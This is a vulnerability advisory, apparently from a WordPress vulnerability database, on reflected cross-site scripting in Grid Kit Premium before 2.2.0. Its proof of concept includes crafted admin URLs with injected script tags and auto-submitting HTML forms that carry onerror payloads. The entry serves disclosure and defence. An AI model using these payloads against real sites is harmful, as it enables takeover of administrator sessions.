Grid Kit Premium < 2.2.0 - Multiple Reflected Cross-Site Scripting

2023-07-1000:00:00

wpvulndb

cross-site scripting

grid kit

admin pages

html code

urls

EPSS

0.001

Percentile

35.8%

JSON

The plugin does not escape some parameters as well as generated URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Make a logged in admin open one of the URL below

https://example.com/wp-admin/admin.php?page=grid-kit-product-reviews&a"><script>alert(/XSS/)</script>
https://example.com/wp-admin/admin.php?page=grid-kit-product-enquiries&"><script>alert(/XSS/)</script>


Make a logged in admin open a page containing the HTML code below

<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=grid-kit-product-reviews" method="POST">
        <input type="text" name="page" value='"><img src onerror=alert(/XSS/)>'>
        <input type="submit" value="submit">
    </form>
</body>

<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=grid-kit-product-enquiries" method="POST">
        <input type="text" name="page" value='"><img src onerror=alert(/XSS/)>'>
        <input type="submit" value="submit">
    </form>
</body>

Requires at least one gallery to be present
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=grid-kit" method="POST">
        <input type="text" name="page" value='"><img src onerror=alert(/XSS/)>'>
        <input type="submit" value="submit">
    </form>
</body>

Other vulnerable URL (when at least one item in the table):
- https://example.com/wp-admin/admin.php?page=grid-kit-product-enquiries
- https://example.com/wp-admin/admin.php?page=grid-kit-product-reviews

EPSS

0.001

Percentile

35.8%

JSON

Related for WPEX-ID:D993C385-C3AD-49A6-B079-3A1B090864C8